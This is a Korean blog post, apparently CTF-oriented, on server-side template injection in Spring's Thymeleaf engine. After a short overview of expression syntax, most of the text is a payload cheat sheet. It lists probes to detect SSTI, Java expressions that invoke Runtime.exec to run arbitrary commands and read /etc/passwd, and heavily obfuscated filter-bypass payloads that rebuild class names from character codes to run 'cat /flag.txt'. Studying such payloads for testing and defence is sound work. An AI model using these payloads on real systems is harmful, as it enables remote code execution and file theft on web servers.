Thymeleaf SSTI
Thymeleaf
타임리프(Thymeleaf)는 Spring의 뷰 템플릿이다. 컨트롤러가 데이터를 전달하면 동적으로 화면을 구성할 수 있게 도와준다. SSTI를 알아보기 전에 Thymeleaf에 대해 알아보자
사용법
Thymeleaf를 사용할려면 xormdp th:text , th:fragment, th:block 등 과 같이 속성과 비슷하게 생긴 것이 온다.
표현식
- 변수 표현식 : ${}
- 선택 변수 표현식 : *{}
- 메시지 표현식 : #{}
- URL 표현식 : @{}
- 단편(Fragment) 표현식 : ~{}
Thymeleaf SSTI
Thymeleaf뿐만 아니라 다른 템플릿에서도 변수 표현식에서 코드를 실행시킬 수 있기 때문에 해당 SSTI가 발생하게 된다. 보통 아래와 같은 방법으로 취약점이 있는지 체크하게 된다.
- ${7*7} = 49
- #{7*7} = 49 -- (legacy)
- ${7*'7'} Nothing
- ${foobar}
- {{7*7}} = 49
Payload
- Basic
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("<cmd-here>").getInputStream()).next()}__::.x
${T(java.lang.Runtime).getRuntime().exec('<cmd-here>')}__::.x
__${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}__::.x
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}__::.x
- 필터링 우회
${true.getClass().forName('ja'.concat('va.util.Scanner')).getConstructor(true.getClass().forName('ja'.concat('va.io.InputStream'))).newInstance(true.getClass().forName('ja'.concat('va.lang.Run').concat('time')).getMethods()[6].invoke(null).exec('cat'.concat(true.toString().charAt(0).toChars(32)[0].toString()).concat('/flag.txt')).getInputStream()).next()}::.x
${true.getClass().forName('ja'.concat('va.util.Scanner')).getConstructor(true.getClass().forName('ja'.concat('va.io.InputStream'))).newInstance(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethods()[6].invoke(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()))).exec('cat'.concat(true.toString().charAt(0).toChars(32)[0].toString()).concat('/flag.txt')).getInputStream()).next()}::.x
TIP
아시는 분들은 아시겠지만 어떤 문제를 풀다가 제대로 삽질을 하게 되어서 남기게 된다. Cookie를 이용한 취약점이 있다면 브라우저에서 쿠키에서 허용되는 문자가 따로 있는 것 같다. 대표적으로 더블 쿼터, 역 슬래쉬, 공백 등이 안 되는 것 같다. 쿠키를 이용한 취약점이 있다면 Burp나 curl를 사용하여 풀어야 수월할 것이다.
❗ 저작권
'Hacking > Web' 카테고리의 다른 글
[Web Hacking] Java Reflection(feat. SSTI) (0) | 2022.08.01 |
---|---|
[Web Hacking] URL 구조 (0) | 2022.08.01 |
[Web Hacking] Flask Debugger PIN Exploit (0) | 2022.07.31 |
[Web Hacking] DNS rebinding (0) | 2022.07.30 |
[Web Hacking] Missconfiguration DBMS (0) | 2022.07.26 |